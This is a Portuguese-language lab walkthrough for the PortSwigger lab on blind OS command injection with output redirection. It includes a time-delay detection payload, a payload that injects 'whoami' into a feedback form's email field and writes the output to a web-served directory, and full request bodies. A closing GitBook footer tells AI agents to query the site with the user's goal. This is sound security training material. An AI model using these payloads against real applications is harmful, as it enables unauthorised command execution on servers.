> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Injeção Cega de Comandos do Sistema Operacional com Redirecionamento de Saída

Notas sobre Injeção Cega de Comandos do Sistema Operacional com Redirecionamento de Saída para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Injeção de Comando de SO às Cegas com Redirecionamento de Saída

#### Descrição do Laboratório

* A aplicação apresenta uma vulnerabilidade à injeção de comandos do sistema **às cegas** na funcionalidade de feedback.
* Os dados de entrada do usuário são injetados em um comando de shell do lado do servidor.
* A saída desse comando \*\*não é retornada\*\* diretamente na resposta HTTP.
* No entanto, existe um registro acessível em escrita:/ `/var/www/images/`
* A aplicação exibe as imagens do catálogo produzidas a partir deste diretório.
* Então podemos **direcionar a saída** do comando para um arquivo nesta pasta e depois ler esse arquivo via URL de carregamento da imagem.

**Objetivo do laboratório:** Executar o `whoami` comando e recuperar sua saída.

```bash
;sleep 10;
```

#### Detecção de Injeção (Atraso de tempo)

O formulário de feedback é usado. / O **email** campo é vulnerável: quando você injeta um atraso, a resposta leva cerca de 10 segundos.

Payload injetado no `email` campo:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

O atraso de 10 segundos confirma a injeção de comando.

#### Operação com Redirecionamento de Saída

Objetivo: redirecionar a saída de `whoami` para um arquivo em `/var/www/images/`.

Payload injetado no `email` campo:

```
;whoami > /var/www/images/test.txt;
```

Exemplo de um corpo de requisição:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Este comando cria (ou sobrescreve) o `test.txt` arquivo no diretório acessível pela web.

```bash
/image?filename=test.txt
```

#### Recuperação do Resultado

Para ler a saída de `whoami` salva no arquivo, chamamos a URL que serve os arquivos na pasta de imagens:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
